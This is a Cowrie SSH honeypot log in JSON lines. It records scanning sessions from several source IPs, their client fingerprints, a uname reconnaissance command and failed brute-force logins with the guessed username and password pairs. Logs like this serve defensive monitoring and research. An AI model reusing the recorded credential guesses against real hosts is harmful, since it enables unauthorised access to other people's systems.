{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:16.150273Z","src_ip":"162.120.6.20","session":"c301054e0315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:16.153509Z","src_ip":"162.120.6.20","session":"c301054e0315","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:16.226912Z","src_ip":"162.120.6.20","session":"c301054e0315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:16.231609Z","src_ip":"162.120.6.20","session":"c301054e0315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22893,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d5d77e3254a","protocol":"ssh","message":"New connection: 2.57.121.25:22893 (159.203.135.109:22) [session: 1d5d77e3254a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:42.741877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:42.746160Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:42.849391Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08081991","message":"login attempt [user/08081991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:43.338316Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08071991","message":"login attempt [user/08071991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:44.444002Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08051986","message":"login attempt [user/08051986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:45.549630Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08051985","message":"login attempt [user/08051985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:46.655023Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"08051984","message":"login attempt [user/08051984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:47.761085Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:25:48.867759Z","src_ip":"2.57.121.25","session":"1d5d77e3254a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f57be5c0a17","protocol":"ssh","message":"New connection: 195.178.110.218:35850 (10.17.0.5:22) [session: 5f57be5c0a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:26:02.901723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:26:02.905560Z","src_ip":"195.178.110.218","session":"5f57be5c0a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:26:02.984945Z","src_ip":"195.178.110.218","session":"5f57be5c0a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:26:03.223361Z","src_ip":"195.178.110.218","session":"5f57be5c0a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:26:04.307923Z","src_ip":"195.178.110.218","session":"5f57be5c0a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52222,"dst_ip":"10.17.0.5","dst_port":22,"session":"26246bb82bfb","protocol":"ssh","message":"New connection: 195.178.110.218:52222 (10.17.0.5:22) [session: 26246bb82bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:28:45.088651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:28:45.093384Z","src_ip":"195.178.110.218","session":"26246bb82bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:28:45.172077Z","src_ip":"195.178.110.218","session":"26246bb82bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:28:45.412287Z","src_ip":"195.178.110.218","session":"26246bb82bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:28:46.493058Z","src_ip":"195.178.110.218","session":"26246bb82bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36340,"dst_ip":"10.17.0.5","dst_port":22,"session":"309573f87604","protocol":"ssh","message":"New connection: 14.225.2.125:36340 (10.17.0.5:22) [session: 309573f87604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:30:00.750645Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:30:01.072535Z","src_ip":"14.225.2.125","session":"309573f87604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7a368335b6d","protocol":"ssh","message":"New connection: 14.225.2.125:36352 (10.17.0.5:22) [session: d7a368335b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:30:01.263746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:30:01.268752Z","src_ip":"14.225.2.125","session":"d7a368335b6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:30:01.532287Z","src_ip":"14.225.2.125","session":"d7a368335b6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhoumengmeng","password":"zhoumengmeng","message":"login attempt [zhoumengmeng/zhoumengmeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:30:02.329084Z","src_ip":"14.225.2.125","session":"d7a368335b6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:30:03.593791Z","src_ip":"14.225.2.125","session":"d7a368335b6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50736,"dst_ip":"10.17.0.5","dst_port":22,"session":"261e6209a12f","protocol":"ssh","message":"New connection: 195.178.110.218:50736 (10.17.0.5:22) [session: 261e6209a12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:31:18.779993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:31:18.783343Z","src_ip":"195.178.110.218","session":"261e6209a12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:31:18.862480Z","src_ip":"195.178.110.218","session":"261e6209a12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:31:19.100744Z","src_ip":"195.178.110.218","session":"261e6209a12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:31:20.181993Z","src_ip":"195.178.110.218","session":"261e6209a12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":33758,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47df3c64b9e","protocol":"ssh","message":"New connection: 2.57.122.96:33758 (159.203.135.109:22) [session: e47df3c64b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:31:54.218394Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:31:54.323605Z","src_ip":"2.57.122.96","session":"e47df3c64b9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":48470,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b9d23b9045","protocol":"ssh","message":"New connection: 165.154.6.49:48470 (159.203.135.109:22) [session: 57b9d23b9045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:10.597482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:10.601417Z","src_ip":"165.154.6.49","session":"57b9d23b9045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:10.817431Z","src_ip":"165.154.6.49","session":"57b9d23b9045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vlc","password":"vlc1234","message":"login attempt [vlc/vlc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:11.713818Z","src_ip":"165.154.6.49","session":"57b9d23b9045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:13.023996Z","src_ip":"165.154.6.49","session":"57b9d23b9045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33524,"dst_ip":"10.17.0.5","dst_port":22,"session":"0169d61a8f31","protocol":"ssh","message":"New connection: 195.178.110.218:33524 (10.17.0.5:22) [session: 0169d61a8f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:50.623084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:50.627410Z","src_ip":"195.178.110.218","session":"0169d61a8f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:50.706832Z","src_ip":"195.178.110.218","session":"0169d61a8f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:50.943724Z","src_ip":"195.178.110.218","session":"0169d61a8f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:33:52.024485Z","src_ip":"195.178.110.218","session":"0169d61a8f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.6.227.209","src_port":2435,"dst_ip":"159.203.135.109","dst_port":22,"session":"34b0b3314c5c","protocol":"ssh","message":"New connection: 112.6.227.209:2435 (159.203.135.109:22) [session: 34b0b3314c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:34:15.690620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:34:15.694232Z","src_ip":"112.6.227.209","session":"34b0b3314c5c","protocol":"ssh"}
